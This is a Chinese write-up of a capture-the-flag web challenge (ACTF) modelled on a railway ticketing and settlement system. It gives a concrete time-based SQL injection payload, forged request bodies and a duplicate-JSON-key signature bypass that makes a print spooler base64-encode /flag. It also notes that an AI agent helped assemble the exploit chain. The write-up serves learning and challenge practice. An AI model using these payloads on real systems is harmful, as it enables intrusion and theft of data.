actf刚过去对一些题的复现

(三角洲太好玩了)

核心工作流包括:票价采样 → 收据签名 → 结算调度 → 结果渲染 → 站点/等待/布局协同

总体审计分析 services 目录总结:

  • rail_common.py:共享工具库,包含 MySQL/Redis 访问、JSON 解析、HTTP 响应发送、签名/验证、站点策略加载。

  • schema.sql:数据库表结构定义。

  • fixtures/railway_business.json:测试数据,包含站点配置、票务索引、策略、布局、设备路由等。

  • seed_loader.py:从 fixtures 加载初始数据入库。

各服务目录:

  • depot_layout/

    • app.py:布局预览接口 /depot/layout/preview,通过 Redis 发起打印请求到 print_spooler,并等待结果。

  • print_spooler/

    • worker.py:监听 rail:spool:requests,验证 ticket 签名,执行本地打印驱动并写回 Redis。

  • pricing_sampler/

    • app.py:票价查询与对账批次服务,创建 render_jobs,并把任务推入 rail:scheduler:jobs。

  • receipt_signer/

    • app.py:结算收据签名服务,生成 settlement_receipts 并验证签名。

  • station_portal/

    • app.py:站务门户 API,管理公告、票务搜索、票务调整、票价重算、导入健康检查。

  • station_import/

    • app.py:统一导入探针 /station/import/probe,根据 adapter 类型处理并写入 Redis 缓存。

  • settlement_scheduler/

    • app.py:结算调度器,检查批次条件,合法则推入 rail:settlement:jobs。

  • settlement_worker/

    • worker.py:结算工作线程,消费 rail:settlement:jobs,加载上下文,校验并生成 render_results。

  • ticketing_api/

    • app.py:售票 API,提供列车查询、订单创建、候补、会话状态、工作区数据。

  • edge_gateway/

    • server.js:外部网关,路由代理移动端/桌面/企业请求,处理特定 decoy 工作流。

  • enterprise_gateway/

    • server.js:企业网关,转发企业发票、收据准备、导入中继,并处理布局合并逻辑。

  • sso_gateway/

    • server.js:身份与会话服务,处理 passenger identity continue、session 检查和完成。

  • waitlist_push/

    • server.js:候补推送服务,管理候补通道、pulse 事件和登车状态。

核心漏洞分析

这个题目最关键的安全缺陷是“重复 JSON 键导致签名验证视图和执行视图不一致” carrierSeal 是一个签名对象,用来证明企业 receipt 的合法性。 该系统对签名校验和后续渲染使用了不同的 JSON 解析视图。 攻击点是:向 carrierSeal 里提交重复的 JSON 键。

结算 worker 渲染 receipt 时,会解析 layout cell。 如果某个 receipt cell 类型是 service-device,它不会直接渲染文本,而会走内部 layout bridge。 layout bridge 会生成签名 spool ticket,最终由 print_spooler 执行 目标程序是受限允许的打印驱动,比如 /usr/bin/base64 目标参数是绝对路径,比如 flag 最终效果:通过私有打印链把 flag 的内容输出为 base64

位置在receipt_signer文件中

def verify_carrier_seal(data, order, batch_id, template_digest, station_cfg, boarding_channel):
 seal = data.get("carrierSeal")
 if not isinstance(seal, dict):
 return None, ["partner_receipt_review"]
 protected = str(seal.get("protected", ""))[:1200]
 payload = str(seal.get("payload", ""))[:6000]
 signature = str(seal.get("signature", ""))[:160]
 try:
 header = json.loads(b64url_decode(protected).decode())
 payload_text = b64url_decode(payload).decode()
 public_view = json.loads(payload_text, object_pairs_hook=first_wins_object)
 render_view = json.loads(payload_text)
 except Exception:
 return None, ["partner_receipt_review"]

利用前提

我们要利用这个就要补齐业务状态 合法订单 waitlist 状态 可信 partner continuation 站点 claim 已编译 layout entitlement 存在 station profile 已打开 carrier lane 正确 signing policy 正确 boarding ledger 存在 fulfillment window 打开 receipt seal 已 mint

(看到这蒙是正常,这里写的逻辑不好,看下面的手工分析更清楚)

agent辅助

下面是al完成的利用链

SSO 绕过 → 候补订单 → SQLi(claim_salt)→ 通知/合作方信息流(设置 Redis 密钥) → 车票调整 → desk-ledger(sampled=1, batch_open=1) → enterprise-clearing(布局权限)→ WebSocket boarding(账本证明) → waitlist pulse(fulfillment epoch) ← 新增 → 延迟渲染任务 → JSON 重复键 carrier seal 伪造 → 收据签名 → settlement 调度 → 轮询 flag

放个al的脚本

手工推理

第1步最终打印点

print spooler 会执行指定的 driverProgram,并把 driverArgument 作为参数传入

ef run_driver(program, argument):
    if not program.startswith(os.path.join("/", "usr", "bin", "")):
        return ""
    if not argument.startswith(os.path.join("/", "")):
        return ""
    read_fd, write_fd = os.pipe()
    file_actions = [
        (os.POSIX_SPAWN_CLOSE, read_fd),
        (os.POSIX_SPAWN_DUP2, write_fd, 1),
        (os.POSIX_SPAWN_DUP2, write_fd, 2),
        (os.POSIX_SPAWN_CLOSE, write_fd),
    ]
    pid = os.posix_spawn(program, [program, argument], os.environ, file_actions=file_actions)
    os.close(write_fd)
    chunks = []
    deadline = time.time() + 2
    try:
        while time.time() < deadline:
            ready, _, _ = select.select([read_fd], [], [], 0.05)
            if ready:
                chunk = os.read(read_fd, 4096)
                if not chunk:
                    break
                chunks.append(chunk)
                if sum(len(item) for item in chunks) > 4096:
                    break
            done, _status = os.waitpid(pid, os.WNOHANG)
            if done:
                break
        else:
            os.kill(pid, signal.SIGKILL)
            os.waitpid(pid, 0)
    finally:
        os.close(read_fd)
    return b"".join(chunks).decode(errors="replace")[:4000]

需要让流程正常到这里

print spooler 执行什么程序,取决于上游传下来的 printPlan。

即上面61行的program, argument

如过传入的关键字段为

{
  "driverProgram": "/usr/bin/base64",
  "driverArgument": "/flag"
}

/usr/bin/base64 是该设备 profile 允许的程序。

/flag 是参数。

因此最后输出会是 flag 内容的 base64。

printPlan 不是普通用户直接提交的。

它来自企业 receipt 的 carrierSeal

第2步传入危险carrierSeal

carrierSeal 是签名对象。

正常来说,签名对象应该保证“校验看到的内容”和“执行使用的内容”一致。

这里就要利用上面漏洞分析的点了

通过carrierSeal 里提交重复的 JSON 键 因为前后渲染的不同就可以实现传入带有危险指令的carrierSeal

def verify_carrier_seal(data, order, batch_id, template_digest, station_cfg, boarding_channel):
 seal = data.get("carrierSeal")
 if not isinstance(seal, dict):
 return None, ["partner_receipt_review"]
 protected = str(seal.get("protected", ""))[:1200]
 payload = str(seal.get("payload", ""))[:6000]
 signature = str(seal.get("signature", ""))[:160]
 try:
 header = json.loads(b64url_decode(protected).decode())
 payload_text = b64url_decode(payload).decode()
 public_view = json.loads(payload_text, object_pairs_hook=first_wins_object)
 render_view = json.loads(payload_text)
 except Exception:
 return None, ["partner_receipt_review"]

前后的差异是下面的导致的

# receipt_signer/app.py:42-47
def first_wins_object(pairs):
    result = {}
    for key, value in pairs:
        if key not in result:      # key 已存在则跳过 → 保留第一个值
            result[key] = value
    return result

JSON RFC 规定重复键的行为是未定义的,Python 标准 json.loads 保留最后一个值。所以当 payload 中出现重复键时:

{
  "batchId": "B...",
  "printProfile": "counter-copy",       // public_view (first_wins) 取这个 ✓ 通过校验
  "printer": "thermal-standard",        // public_view (first_wins) 取这个 ✓ 通过校验
  ...
  "printProfile": "clearing-batch",     // render_view (std json) 取这个 → 触发 layout bridge
  "printer": "line-printer",            // render_view (std json) 取这个
  "driverProgram": "/usr/bin/base64",   // 只有 render_view 能看见
  "driverArgument": "/flag"             // 只有 render_view 能看见
}

第3步完成前置的合法订单

receipt signer 和 settlement worker 都会检查业务状态。

这些检查的目的,是确认这个 receipt 真的属于一个合法的结算闭环。

所以我们要传入carrierSeal,就要让其处在合法的结算闭环中

合法订单需要以下条件

waitlist 状态
可信 partner continuation
站点 claim 已编译
layout entitlement 存在
station profile 已打开
carrier lane 正确
signing policy 正确
boarding ledger 存在
fulfillment window 打开
receipt seal 已 mint

然后就是反推每个条件

第4步逐条补齐条件

1.需要boarding ledger

carrierSeal 里必须包含 ledgerRef。
这个值不能自己编,因为服务端会在 Redis 里检查对应的 ledger attestation。

获取方式是走 WebSocket boarding 流程:

boarding.hello
  -> boarding.bind
  -> boarding.confirm

boarding.confirm 成功后,服务端会保存内部 boarding nonce,并返回:

ledgerRef

但有问题receipt 只能为真实 waitlisted order 的 boarding 状态生成

waitlisted order 从哪里来?

station board profile 又从哪里来?

2.需要 station feed

它决定了决定 carrier lane、board stream 和签名 key

boarding ledger 和 receipt signer 都依赖站点策略。

HGH 站点的目标策略是:

routeName = delta-window-27
policyId  = POL-HGH-TRUSTED
board     = seat-window-e27

但默认情况下,系统不会直接使用 trusted lane。
需要通过 station feed 导入,把这些状态编译到缓存中。

可控点是 station notice 的 proxyHint

构造类似的折叠头:

X-Desk-Lane: delta-window-27
X-Board-Window: seat-window-e27
X-Desk-Key-Id: POL-HGH-TRUSTED
X-Desk-Key: delta-window-27

再触发导入:

adapter = station-partner-feed
target  = rail-mesh://station/feed?stationCode=HGH

3.需要 layout entitlement,因为只有指定 receipt cell 才会走私有打印
POST /api/desk/tickets/adjust

memo 中写入:

{
  "role": "settlement-layout",
  "reason": "FARE-91",
  "layout": "folio-grid-27",
  "device": "PR-HGH-042",
  "enabled": true
}

然后触发:

adapter = station-desk-ledger
target  = rail-mesh://desk/claims?orderId=...&stationCode=HGH

编译后,系统会:

标记 waitlist sample
打开 station batch profile
创建 layout entitlement
激活 receipt cell 到 PR-HGH-042

4.需要 claimProof,因为 station adjustment 必须绑定真实 claim artifact

这三个条件由 apply_adjustment_rules 一次性设置。但需要先通过 ticket_adjustments

提交规则,而提交规则需要 claim_proof(需要 claim_salt)。

a) 提取 claim_salt — ORDER BY SQL 注入

位置:station_portal/app.py → reprice_fare() → fare_scope_expression()

def fare_scope_expression(scope):

...

if scope.get("mode") == "legacy-rank":

return str(scope.get("expr", "ticket_no"))[:240] ← 直接拼接!

注入点:POST /api/desk/fares/reprice

{

"stationCode": "HGH",

"tariffScope": {

"mode": "legacy-rank",

"expr": "(SELECT IF(ORD(SUBSTR(claim_salt,2,1))>=77, SLEEP(1.2), 0)

FROM station_claim_artifacts

WHERE order_id='O...' AND station_code='HGH')"

},

"amount": 100

}

最终 SQL:

SELECT ... FROM ticket_index WHERE station_code IN ('HGH','BJP')

ORDER BY (SELECT IF(ORD(SUBSTR(claim_salt,2,1))>=77, SLEEP(1.2), 0)

FROM station_claim_artifacts ...) LIMIT 1

使用 stationapp 用户(有 station_claim_artifacts 的 SELECT 权限)。

二分法逐字符提取 claim_salt(R + 8 位 [A-Z0-9]),约 48 次请求完成。

提取后本地计算:

claim_digest = sha256(order_id|G7608|HGH|T-HGH-7608-019|claim_salt)

claim_proof = "CP-{claim_salt}-{digest[:12]}"

b) 创建 ticket adjustment

POST /api/desk/tickets/adjust

{

"ticketNo": "T-HGH-7608-019",

"claimProof": "CP-RXXXXXXXX-xxxxxxxxxxxx",

"memo": {

"stationCode": "HGH",

"channel": "fare-desk",

"lineItems": {

"role": "settlement-layout",

"reason": "FARE-91",

"layout": "folio-grid-27",

"device": "PR-HGH-042",

"enabled": true

}

},

"delta": 0

}

写入 ticket_adjustments 表(claim_proof + memo)。

c) 触发 station-desk-ledger adapter

POST /api/corporate/imports/relay

{

"stationCode": "HGH",

"adapter": "station-desk-ledger",

"target": "rail-cache://redis/desk-ledger?orderId=O...&stationCode=HGH",

"payload": ""

}

→ station_import: apply_adjustment_rules(order_id, "HGH")

1. 读取 station_claim_artifacts → 获取 claim_salt, claim_digest

2. 计算 expected_proof → 匹配 ticket_adjustments

3. 解析 memo JSON → 校验 channel/reason/layout/device 全部匹配

4. 执行更新:

UPDATE waitlist_entries SET sampled=1 ← 条件 4 ✓

UPDATE station_profiles SET batch_open=1, ← 条件 5 ✓

renderer_profile='folio-grid-27', ← 条件 6 ✓

signer_route='delta-window-27'

INSERT INTO tariff_exception_claims (claim_state='compiled')

INSERT INTO station_rule_applications

此时:

waitlist_entries.sampled = 1 ✓

station_profiles.batch_open = 1 ✓

station_profiles.renderer_profile = 'folio-grid-27' ✓

5.最上层

现在再回到最上层入口。

整条链的根是一个真实的 waitlisted order。
没有真实订单,后面的 claim artifact、ledger、receipt 都没有绑定对象。

首先调用:

POST /api/mobile/identity/continue

提交 partner 风格的 continuation:

partnerId  = yangtze-mobile
trustLevel = mobile / partner / settlement
relayState = seat-hold / continue

这一步的作用是让后续订单带上可信 passenger session。

然后创建 hold 和 order:

POST /api/mobile/orders/hold
POST /api/mobile/orders

目标是:

trainId   = G7608
seatClass = business
station   = HGH

因为该车次 business seat 初始无余票,所以订单进入:

status = waitlisted

同时服务端生成 station claim artifact。

最后面几个我没有一句句看代码,结合这wp和al写的

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐